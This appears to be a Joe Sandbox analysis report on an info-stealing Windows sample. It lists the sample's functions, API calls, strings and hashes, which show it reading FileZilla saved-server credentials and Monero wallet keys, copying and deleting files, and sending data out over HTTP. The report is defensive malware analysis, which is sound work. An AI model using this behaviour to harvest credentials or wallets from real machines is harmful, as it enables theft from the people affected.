Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 4064d3d4cc97284371ea6aab68bdf990281b08ba8f50f2d7da3ea20f59909938
Instruction ID: 050603fec40334f187b7c5e78bcf92f8a753ebc186fdc4dc00fe12151708c6a2
Opcode Fuzzy Hash: 4064d3d4cc97284371ea6aab68bdf990281b08ba8f50f2d7da3ea20f59909938
Instruction Fuzzy Hash: 2FD17371950208ABDB04FBF4DD96EEE73B8EF54301F404498F506B6191EE34AB49EB62

Function 00B35100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B34839
Part of subcall function 00B347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B34849

lstrlen.KERNEL32(00000000), ref: 00B35193

Part of subcall function 00B48EA0: CryptBinaryToStringA.CRYPT32(00000000,00B35184,40000001,00000000,00000000,?,00B35184), ref: 00B48EC0

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B35207
StrCmpCA.SHLWAPI(?,014EE230), ref: 00B35225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B35340
HttpOpenRequestA.WININET(00000000,014EE2C0,?,014EDB80,00000000,00000000,00400100,00000000), ref: 00B353A4

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,014EE2A0,00000000,?,014E9998,00000000,?,00B519DC,00000000,?,00B451CF), ref: 00B35737
lstrlen.KERNEL32(00000000), ref: 00B3574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00B3575C
RtlAllocateHeap.NTDLL(00000000), ref: 00B35763
lstrlen.KERNEL32(00000000), ref: 00B35778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B357A9
lstrlen.KERNEL32(00000000), ref: 00B357C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B357E1
lstrlen.KERNEL32(00000000,?,?), ref: 00B3580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B35822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B3584D
InternetCloseHandle.WININET(00000000), ref: 00B358B1
InternetCloseHandle.WININET(00000000), ref: 00B358BE
InternetCloseHandle.WININET(00000000), ref: 00B358C8

Strings

------, xrefs: 00B354F9
------, xrefs: 00B353B7
", xrefs: 00B35482
", xrefs: 00B35706
------, xrefs: 00B35297
", xrefs: 00B355C4
------, xrefs: 00B3563B
--, xrefs: 00B35280

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 766c28f0bd9cdff46a6a348d6f4f16e1b96b3183e2999f36ca98010bea4d29d5
Instruction ID: dce225484df28dd2eff6d331acc53e0e2d4a42f1e30b40f036dbd7cd88f7540c
Opcode Fuzzy Hash: 766c28f0bd9cdff46a6a348d6f4f16e1b96b3183e2999f36ca98010bea4d29d5
Instruction Fuzzy Hash: 3A320071960118AAEB14EBA4DC95FEEB3B8FF54700F4041D9B106B2192EF706B49DF62

Function 00B3A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4AA70: StrCmpCA.SHLWAPI(014E8B20,00B3A7A7,?,00B3A7A7,014E8B20), ref: 00B4AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B3AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00B3AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00B3ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B3A8B0

Part of subcall function 00B4A820: lstrlen.KERNEL32(00B34F05,?,?,00B34F05,00B50DDE), ref: 00B4A82B
Part of subcall function 00B4A820: lstrcpy.KERNEL32(00B50DDE,00000000), ref: 00B4A885

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

lstrcat.KERNEL32(?,00000000), ref: 00B3ACEB
lstrcat.KERNEL32(?,00B51320), ref: 00B3ACFA
lstrcat.KERNEL32(?,00000000), ref: 00B3AD0D
lstrcat.KERNEL32(?,00B51324), ref: 00B3AD1C
lstrcat.KERNEL32(?,00000000), ref: 00B3AD2F
lstrcat.KERNEL32(?,00B51328), ref: 00B3AD3E
lstrcat.KERNEL32(?,00000000), ref: 00B3AD51
lstrcat.KERNEL32(?,00B5132C), ref: 00B3AD60
lstrcat.KERNEL32(?,00000000), ref: 00B3AD73
lstrcat.KERNEL32(?,00B51330), ref: 00B3AD82
lstrcat.KERNEL32(?,00000000), ref: 00B3AD95
lstrcat.KERNEL32(?,00B51334), ref: 00B3ADA4
lstrcat.KERNEL32(?,00000000), ref: 00B3ADB7
lstrlen.KERNEL32(?), ref: 00B3AE0D
lstrlen.KERNEL32(?), ref: 00B3AE1C

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

DeleteFileA.KERNEL32(00000000), ref: 00B3AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00B3ABD4

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 370383f3741f02f4461ea8746902927b50807d8711b605d8f79c7662a1719a7a
Instruction ID: 3fe7f97aa6a619be8a07ce7f12db065a709df466ba9d4ed83379a332e1e4ee26
Opcode Fuzzy Hash: 370383f3741f02f4461ea8746902927b50807d8711b605d8f79c7662a1719a7a
Instruction Fuzzy Hash: B9125E71850108ABEB04FBA4DD96EEE73B8FF54301F504198B506B61A1EE30AF49DB63

Function 00B35960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B34839
Part of subcall function 00B347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B34849

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B359F8
StrCmpCA.SHLWAPI(?,014EE230), ref: 00B35A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B35B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,014EE2B0,00000000,?,014E9998,00000000,?,00B51A1C), ref: 00B35E71
lstrlen.KERNEL32(00000000), ref: 00B35E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00B35E93
RtlAllocateHeap.NTDLL(00000000), ref: 00B35E9A
lstrlen.KERNEL32(00000000), ref: 00B35EAF
lstrlen.KERNEL32(00000000), ref: 00B35ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B35EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00B35F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B35F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00B35F4C
InternetCloseHandle.WININET(00000000), ref: 00B35FB0
InternetCloseHandle.WININET(00000000), ref: 00B35FBD
HttpOpenRequestA.WININET(00000000,014EE2C0,?,014EDB80,00000000,00000000,00400100,00000000), ref: 00B35BF8

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

InternetCloseHandle.WININET(00000000), ref: 00B35FC7

Strings

------, xrefs: 00B35A96
", xrefs: 00B35CD5
------, xrefs: 00B35D4C
------, xrefs: 00B35C0B
", xrefs: 00B35E16

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 8e3f98f9ce4182a9d257cecad4a64ae6c4f2887c9bc21f6d1dfe89307901d39e
Instruction ID: b93a480f94b76da565e26a43a80af05bfb747a255a9c926638ed50b208d2d0df
Opcode Fuzzy Hash: 8e3f98f9ce4182a9d257cecad4a64ae6c4f2887c9bc21f6d1dfe89307901d39e
Instruction Fuzzy Hash: 51120E71860118AAEB15EBA4DC96FEEB3B8FF54700F5041D9B10AB2191EF702B49DF61

Function 00B3CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B48B60: GetSystemTime.KERNEL32(00B50E1A,014E9CC8,00B505AE,?,?,00B313F9,?,0000001A,00B50E1A,00000000,?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B48B86

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B3CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B3D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00B3D0CE
lstrcat.KERNEL32(?,00000000), ref: 00B3D208
lstrcat.KERNEL32(?,00B51478), ref: 00B3D217
lstrcat.KERNEL32(?,00000000), ref: 00B3D22A
lstrcat.KERNEL32(?,00B5147C), ref: 00B3D239
lstrcat.KERNEL32(?,00000000), ref: 00B3D24C
lstrcat.KERNEL32(?,00B51480), ref: 00B3D25B
lstrcat.KERNEL32(?,00000000), ref: 00B3D26E
lstrcat.KERNEL32(?,00B51484), ref: 00B3D27D
lstrcat.KERNEL32(?,00000000), ref: 00B3D290
lstrcat.KERNEL32(?,00B51488), ref: 00B3D29F
lstrcat.KERNEL32(?,00000000), ref: 00B3D2B2
lstrcat.KERNEL32(?,00B5148C), ref: 00B3D2C1
lstrcat.KERNEL32(?,00000000), ref: 00B3D2D4
lstrcat.KERNEL32(?,00B51490), ref: 00B3D2E3

Part of subcall function 00B4A820: lstrlen.KERNEL32(00B34F05,?,?,00B34F05,00B50DDE), ref: 00B4A82B
Part of subcall function 00B4A820: lstrcpy.KERNEL32(00B50DDE,00000000), ref: 00B4A885

lstrlen.KERNEL32(?), ref: 00B3D32A
lstrlen.KERNEL32(?), ref: 00B3D339

Part of subcall function 00B4AA70: StrCmpCA.SHLWAPI(014E8B20,00B3A7A7,?,00B3A7A7,014E8B20), ref: 00B4AA8F

DeleteFileA.KERNEL32(00000000), ref: 00B3D3B4

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 4be528982c8900218a795b41ea533341e8b262ca69db0d3cac1cdf6b8efb2398
Instruction ID: 05a1abda4d372a9aa3bea6c514efb1a90e412d91e3f1c9229daed65067d3af5e
Opcode Fuzzy Hash: 4be528982c8900218a795b41ea533341e8b262ca69db0d3cac1cdf6b8efb2398
Instruction Fuzzy Hash: 62E14F71950208ABDB04EBA4DD96EEE73B8FF54301F104198F106B61A1EE35AF49DB72

Function 00B34880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B34839
Part of subcall function 00B347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B34849

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B34915
StrCmpCA.SHLWAPI(?,014EE230), ref: 00B3493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B34ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00B50DDB,00000000,?,?,00000000,?,",00000000,?,014EE320), ref: 00B34DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B34E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B34E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B34E49
InternetCloseHandle.WININET(00000000), ref: 00B34EAD
InternetCloseHandle.WININET(00000000), ref: 00B34EC5
HttpOpenRequestA.WININET(00000000,014EE2C0,?,014EDB80,00000000,00000000,00400100,00000000), ref: 00B34B15

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

InternetCloseHandle.WININET(00000000), ref: 00B34ECF

Strings

", xrefs: 00B34BF2
------, xrefs: 00B34B28
------, xrefs: 00B349BD
", xrefs: 00B34D33
------, xrefs: 00B34C69

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
